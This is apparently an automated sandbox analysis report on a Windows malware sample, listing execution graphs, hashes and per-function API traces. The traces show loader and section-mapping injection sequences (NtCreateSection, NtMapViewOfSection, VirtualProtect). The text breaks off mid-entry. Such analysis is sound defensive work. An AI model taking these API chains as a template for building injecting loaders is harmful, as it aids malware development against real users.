                                                                                                                                                                                                                                                                execution_graph 8401 2e7cd87 8402 2e7cd96 8401->8402 8405 2e7d527 8402->8405 8408 2e7d542 8405->8408 8406 2e7d54b CreateToolhelp32Snapshot 8407 2e7d567 Module32First 8406->8407 8406->8408 8409 2e7d576 8407->8409 8410 2e7cd9f 8407->8410 8408->8406 8408->8407 8412 2e7d1e6 8409->8412 8413 2e7d211 8412->8413 8414 2e7d222 VirtualAlloc 8413->8414 8415 2e7d25a 8413->8415 8414->8415 8415->8415 8416 417240 8417 41725c 8416->8417 8418 417284 WriteConsoleOutputCharacterA GetTimeZoneInformation 8417->8418 8420 4172ae 8417->8420 8418->8417 8419 41735b 8426 416f60 8419->8426 8420->8419 8421 4172d9 ReadFile GetVolumeInformationA 8420->8421 8421->8420 8423 417360 8448 416540 LoadLibraryW GetProcAddress VirtualProtect 8423->8448 8449 416e00 LoadLibraryA 8423->8449 8427 416f90 8426->8427 8428 416f96 GetConsoleAliasesA 8427->8428 8431 416fb7 8427->8431 8428->8427 8429 41721b 8428->8429 8430 417228 CreateDirectoryW 8429->8430 8429->8431 8430->8431 8432 416ff5 InterlockedDecrement FindAtomW DeviceIoControl GetComputerNameW 8431->8432 8433 4170b8 8431->8433 8436 417053 SetDefaultCommConfigW FreeEnvironmentStringsA AddAtomW GetCurrentDirectoryA EnumDateFormatsW 8432->8436 8434 4170c8 7 API calls 8433->8434 8440 41713f 8433->8440 8434->8440 8438 417096 FatalAppExitW 8436->8438 8439 41709e 8436->8439 8437 41715d 8451 416e00 LoadLibraryA 8437->8451 8438->8439 8439->8433 8441 4170a7 GetModuleHandleExW 8439->8441 8450 416510 LocalAlloc 8440->8450 8441->8433 8443 4171a0 8452 416540 LoadLibraryW GetProcAddress VirtualProtect 8443->8452 8445 4171a5 8453 416ef0 8445->8453 8447 4171aa 8447->8423 8448->8423 8449->8423 8450->8437 8451->8443 8452->8445 8458 416e70 8453->8458 8456 416f52 8456->8447 8457 416f14 FreeEnvironmentStringsA CreateNamedPipeW FileTimeToLocalFileTime 8457->8456 8459 416e81 HeapCreate LoadLibraryA 8458->8459 8460 416e95 8458->8460 8459->8460 8460->8456 8460->8457 8461 403031 8462 40303a 8461->8462 8463 402fbf 8461->8463 8466 4019b2 8463->8466 8465 402fda 8467 4019c3 8466->8467 8468 4019fc Sleep 8467->8468 8469 401a17 8468->8469 8471 401a28 8469->8471 8472 4015d5 8469->8472 8471->8465 8473 4015e4 8472->8473 8474 401688 NtDuplicateObject 8473->8474 8483 4017a4 8473->8483 8475 4016a5 NtCreateSection 8474->8475 8474->8483 8476 401725 NtCreateSection 8475->8476 8477 4016cb NtMapViewOfSection 8475->8477 8479 401751 8476->8479 8476->8483 8477->8476 8478 4016ee NtMapViewOfSection 8477->8478 8478->8476 8480 40170c 8478->8480 8481 40175b NtMapViewOfSection 8479->8481 8479->8483 8480->8476 8482 401782 NtMapViewOfSection 8481->8482 8481->8483 8482->8483 8483->8471 8484 2d1003c 8485 2d10049 8484->8485 8497 2d10e0f SetErrorMode SetErrorMode 8485->8497 8490 2d10265 8491 2d102ce VirtualProtect 8490->8491 8493 2d1030b 8491->8493 8492 2d10439 VirtualFree 8496 2d104be LoadLibraryA 8492->8496 8493->8492 8495 2d108c7 8496->8495 8498 2d10223 8497->8498 8499 2d10d90 8498->8499 8500 2d10dad 8499->8500 8501 2d10dbb GetPEB 8500->8501 8502 2d10238 VirtualAlloc 8500->8502 8501->8502 8502->8490 8503 402f3d 8504 402f4e 8503->8504 8505 4019b2 8 API calls 8504->8505 8506 402fda 8504->8506 8505->8506

                                                                                                                                                                                                                                                                Executed Functions

                                                                                                                                                                                                                                                                Function 00416540 Relevance: 24.7, APIs: 3, Strings: 11, Instructions: 233librarymemoryloaderCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 0 416540-416df2 LoadLibraryW GetProcAddress VirtualProtect
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • LoadLibraryW.KERNEL32(02BD0098,0BB7EA7B,4BBE82DD,2FC43CC7,52860AB1,6AD71B2C,43FE4454,34026A25), ref: 00416DBB
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00425990), ref: 00416DC7
                                                                                                                                                                                                                                                                • VirtualProtect.KERNELBASE(02BCDF9C,02BD041C,00000040,?), ref: 00416DE6
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2040032604.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_40b000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AddressLibraryLoadProcProtectVirtual
                                                                                                                                                                                                                                                                • String ID: )?u$:/X$F(+$O8##$R'._$U99x$X2R$dFfX$v;^:$o:?$6
                                                                                                                                                                                                                                                                • API String ID: 3509694964-975362989
                                                                                                                                                                                                                                                                • Opcode ID: 5e8c608fef1b02fce00704d1bbd519a4422d41c363e080cde4ffaa36ffef0d28
                                                                                                                                                                                                                                                                • Instruction ID: b37eaada4d46ce99a4b5b943d25e2fc503fef666af0764f97da6d79e46e4af49
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5e8c608fef1b02fce00704d1bbd519a4422d41c363e080cde4ffaa36ffef0d28
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: C102B5B450A384CBD2B09F469699BCEBBE0BB91744FA08E0CD6DD1A210DB754489CF96
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040156B Relevance: 10.7, APIs: 7, Instructions: 229COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 86 40156b-401577 87 4015a3-4015a6 86->87 88 401579-40157e 86->88 89 4015a8-4015c7 87->89 90 4015fe-401632 call 40125c 87->90 91 401580-401599 88->91 92 40154a-401551 88->92 89->90 104 401634 90->104 105 401637-40163c 90->105 91->87 94 401553-401569 92->94 95 40151d-401546 call 40125c 92->95 94->86 95->92 104->105 107 401642-401653 105->107 108 401959-401961 105->108 111 401957 107->111 112 401659-401682 107->112 108->105 113 401966-4019af call 40125c 108->113 111->113 112->111 120 401688-40169f NtDuplicateObject 112->120 120->111 122 4016a5-4016c9 NtCreateSection 120->122 124 401725-40174b NtCreateSection 122->124 125 4016cb-4016ec NtMapViewOfSection 122->125 124->111 128 401751-401755 124->128 125->124 127 4016ee-40170a NtMapViewOfSection 125->127 127->124 130 40170c-401722 127->130 128->111 132 40175b-40177c NtMapViewOfSection 128->132 130->124 132->111 134 401782-40179e NtMapViewOfSection 132->134 134->111 136 4017a4 call 4017a9 134->136
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 9c550399e78a4170f2f5d29d07dc02536ee10777f5cb6a9f829c2ebd2296549f
                                                                                                                                                                                                                                                                • Instruction ID: 4068bc8a221ecf0939acbdb1e7e88c7e46ae7771e33a0dc799c943c57428cfd7
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 9c550399e78a4170f2f5d29d07dc02536ee10777f5cb6a9f829c2ebd2296549f
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: AC717CB4900205BFDB209F91CC48F9BBFB8FF96710F14416AFA52BA2E5D6749901CB64
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004015D5 Relevance: 10.7, APIs: 7, Instructions: 206nativeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 139 4015d5-401605 144 401608-401632 call 40125c 139->144 145 4015fb-401601 139->145 151 401634 144->151 152 401637-40163c 144->152 145->144 151->152 154 401642-401653 152->154 155 401959-401961 152->155 158 401957 154->158 159 401659-401682 154->159 155->152 160 401966-4019af call 40125c 155->160 158->160 159->158 167 401688-40169f NtDuplicateObject 159->167 167->158 169 4016a5-4016c9 NtCreateSection 167->169 171 401725-40174b NtCreateSection 169->171 172 4016cb-4016ec NtMapViewOfSection 169->172 171->158 175 401751-401755 171->175 172->171 174 4016ee-40170a NtMapViewOfSection 172->174 174->171 177 40170c-401722 174->177 175->158 179 40175b-40177c NtMapViewOfSection 175->179 177->171 179->158 181 401782-40179e NtMapViewOfSection 179->181 181->158 183 4017a4 call 4017a9 181->183
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016E7
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401705
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401746
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401777
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401799
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Section$View$Create$DuplicateObject
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1546783058-0
                                                                                                                                                                                                                                                                • Opcode ID: 3e181e0f091291a7bcc65ea4cbb03b61709e80b03e4eaee54da447a390a899e9
                                                                                                                                                                                                                                                                • Instruction ID: 31d3dea579921dc9a2cae9d470b126ee15754b3dfc7efa49c87a4de0449774b7
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3e181e0f091291a7bcc65ea4cbb03b61709e80b03e4eaee54da447a390a899e9
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3D615EB4900205FBEF209F95CC49FAF7BB8EF81700F14412AFA52BA1E4D6759901DB65
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00401603 Relevance: 10.7, APIs: 7, Instructions: 180nativeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 186 401603-401605 188 401608-401632 call 40125c 186->188 189 4015fb-401601 186->189 195 401634 188->195 196 401637-40163c 188->196 189->188 195->196 198 401642-401653 196->198 199 401959-401961 196->199 202 401957 198->202 203 401659-401682 198->203 199->196 204 401966-4019af call 40125c 199->204 202->204 203->202 211 401688-40169f NtDuplicateObject 203->211 211->202 213 4016a5-4016c9 NtCreateSection 211->213 215 401725-40174b NtCreateSection 213->215 216 4016cb-4016ec NtMapViewOfSection 213->216 215->202 219 401751-401755 215->219 216->215 218 4016ee-40170a NtMapViewOfSection 216->218 218->215 221 40170c-401722 218->221 219->202 223 40175b-40177c NtMapViewOfSection 219->223 221->215 223->202 225 401782-40179e NtMapViewOfSection 223->225 225->202 227 4017a4 call 4017a9 225->227
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016E7
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Section$CreateDuplicateObjectView
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1652636561-0
                                                                                                                                                                                                                                                                • Opcode ID: b15bfa31299a4de99dc5fbb09a0d922efddb8920de5fe92507006c0b369db749
                                                                                                                                                                                                                                                                • Instruction ID: 0ca0715bd940020d1e7da968824c045868daa20d03b9e32912d168e5fb042320
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: b15bfa31299a4de99dc5fbb09a0d922efddb8920de5fe92507006c0b369db749
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 21513AB4900245BFEF209F91CC48FAB7BB8EF86700F144159FA11BA1A5D6759901CB24
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004015E0 Relevance: 10.7, APIs: 7, Instructions: 177nativeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 230 4015e0-401605 233 401608-401632 call 40125c 230->233 234 4015fb-401601 230->234 240 401634 233->240 241 401637-40163c 233->241 234->233 240->241 243 401642-401653 241->243 244 401959-401961 241->244 247 401957 243->247 248 401659-401682 243->248 244->241 249 401966-4019af call 40125c 244->249 247->249 248->247 256 401688-40169f NtDuplicateObject 248->256 256->247 258 4016a5-4016c9 NtCreateSection 256->258 260 401725-40174b NtCreateSection 258->260 261 4016cb-4016ec NtMapViewOfSection 258->261 260->247 264 401751-401755 260->264 261->260 263 4016ee-40170a NtMapViewOfSection 261->263 263->260 266 40170c-401722 263->266 264->247 268 40175b-40177c NtMapViewOfSection 264->268 266->260 268->247 270 401782-40179e NtMapViewOfSection 268->270 270->247 272 4017a4 call 4017a9 270->272
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016E7
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401705
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401746
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401777
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401799
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Section$View$Create$DuplicateObject
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1546783058-0
                                                                                                                                                                                                                                                                • Opcode ID: 04eb20433b5860dced4f30358d53dad77e0caca42b63522b0a9d39180673331f
                                                                                                                                                                                                                                                                • Instruction ID: f8a4b5919756d8021f5b889f0f58571870373b5bf4bcbac62585d3645815d21d
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 04eb20433b5860dced4f30358d53dad77e0caca42b63522b0a9d39180673331f
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 1D512AB4900245BFEF209F91CC48FAB7BB8EF85B00F14416AFA11BA1A5D6759945CB24
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004015F1 Relevance: 10.7, APIs: 7, Instructions: 177nativeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 275 4015f1-401605 280 401608-401632 call 40125c 275->280 281 4015fb-401601 275->281 287 401634 280->287 288 401637-40163c 280->288 281->280 287->288 290 401642-401653 288->290 291 401959-401961 288->291 294 401957 290->294 295 401659-401682 290->295 291->288 296 401966-4019af call 40125c 291->296 294->296 295->294 303 401688-40169f NtDuplicateObject 295->303 303->294 305 4016a5-4016c9 NtCreateSection 303->305 307 401725-40174b NtCreateSection 305->307 308 4016cb-4016ec NtMapViewOfSection 305->308 307->294 311 401751-401755 307->311 308->307 310 4016ee-40170a NtMapViewOfSection 308->310 310->307 313 40170c-401722 310->313 311->294 315 40175b-40177c NtMapViewOfSection 311->315 313->307 315->294 317 401782-40179e NtMapViewOfSection 315->317 317->294 319 4017a4 call 4017a9 317->319
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016E7
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401705
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401746
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401777
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401799
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Section$View$Create$DuplicateObject
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1546783058-0
                                                                                                                                                                                                                                                                • Opcode ID: 33ac70b5b43b6acd6d344138c7c65f11e9e4a1672503bef4bbae75314ef4305b
                                                                                                                                                                                                                                                                • Instruction ID: 5a7ae9765c1c855b3f83e93a3bcaaff71aa811e3383dbed8b01ddf0fe81d9004
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 33ac70b5b43b6acd6d344138c7c65f11e9e4a1672503bef4bbae75314ef4305b
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: CD512AB4900205BBEF209F91CC49FAB7BB8EF85B00F14412AFA11BA1E5D6759941CB24
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004015F5 Relevance: 10.7, APIs: 7, Instructions: 171nativeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 322 4015f5-401605 325 401608-401632 call 40125c 322->325 326 4015fb-401601 322->326 332 401634 325->332 333 401637-40163c 325->333 326->325 332->333 335 401642-401653 333->335 336 401959-401961 333->336 339 401957 335->339 340 401659-401682 335->340 336->333 341 401966-4019af call 40125c 336->341 339->341 340->339 348 401688-40169f NtDuplicateObject 340->348 348->339 350 4016a5-4016c9 NtCreateSection 348->350 352 401725-40174b NtCreateSection 350->352 353 4016cb-4016ec NtMapViewOfSection 350->353 352->339 356 401751-401755 352->356 353->352 355 4016ee-40170a NtMapViewOfSection 353->355 355->352 358 40170c-401722 355->358 356->339 360 40175b-40177c NtMapViewOfSection 356->360 358->352 360->339 362 401782-40179e NtMapViewOfSection 360->362 362->339 364 4017a4 call 4017a9 362->364
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016E7
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401705
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401746
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401777
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401799
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Section$View$Create$DuplicateObject
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1546783058-0
                                                                                                                                                                                                                                                                • Opcode ID: 093e4af39a6e9b280214902670a608798f3f560288f35baa23b2d456886eb4a6
                                                                                                                                                                                                                                                                • Instruction ID: 051afd1cfa3f53c1d66a227bdc9b807376e364d6cbb67a4c48344ec6a8846052
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 093e4af39a6e9b280214902670a608798f3f560288f35baa23b2d456886eb4a6
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: A5512AB4900205BFEF209F91CC48FAF7BB8EF85B00F144169FA11BA1E5D6759941CB24
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004015F8 Relevance: 10.7, APIs: 7, Instructions: 170nativeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 367 4015f8-401632 call 40125c 375 401634 367->375 376 401637-40163c 367->376 375->376 378 401642-401653 376->378 379 401959-401961 376->379 382 401957 378->382 383 401659-401682 378->383 379->376 384 401966-4019af call 40125c 379->384 382->384 383->382 391 401688-40169f NtDuplicateObject 383->391 391->382 393 4016a5-4016c9 NtCreateSection 391->393 395 401725-40174b NtCreateSection 393->395 396 4016cb-4016ec NtMapViewOfSection 393->396 395->382 399 401751-401755 395->399 396->395 398 4016ee-40170a NtMapViewOfSection 396->398 398->395 401 40170c-401722 398->401 399->382 403 40175b-40177c NtMapViewOfSection 399->403 401->395 403->382 405 401782-40179e NtMapViewOfSection 403->405 405->382 407 4017a4 call 4017a9 405->407
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016E7
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401705
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401746
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401777
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401799
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Section$View$Create$DuplicateObject
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1546783058-0
                                                                                                                                                                                                                                                                • Opcode ID: 49cdd7e1c93eceed419c410d8f1c7ea39d36b456fb8bebdc5244cfb81669af5b
                                                                                                                                                                                                                                                                • Instruction ID: 3f624420ec53c22d9d437f9961cb7ed2e3b3007a845c559fed4a58de007b3d88
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 49cdd7e1c93eceed419c410d8f1c7ea39d36b456fb8bebdc5244cfb81669af5b
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 105129B4900245BFEF209F91CC48FEBBFB8EF86B10F140159FA11BA2A5D6759945CB24
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040161A Relevance: 10.7, APIs: 7, Instructions: 166nativeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 410 40161a-401632 call 40125c 416 401634 410->416 417 401637-40163c 410->417 416->417 419 401642-401653 417->419 420 401959-401961 417->420 423 401957 419->423 424 401659-401682 419->424 420->417 425 401966-4019af call 40125c 420->425 423->425 424->423 432 401688-40169f NtDuplicateObject 424->432 432->423 434 4016a5-4016c9 NtCreateSection 432->434 436 401725-40174b NtCreateSection 434->436 437 4016cb-4016ec NtMapViewOfSection 434->437 436->423 440 401751-401755 436->440 437->436 439 4016ee-40170a NtMapViewOfSection 437->439 439->436 442 40170c-401722 439->442 440->423 444 40175b-40177c NtMapViewOfSection 440->444 442->436 444->423 446 401782-40179e NtMapViewOfSection 444->446 446->423 448 4017a4 call 4017a9 446->448
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
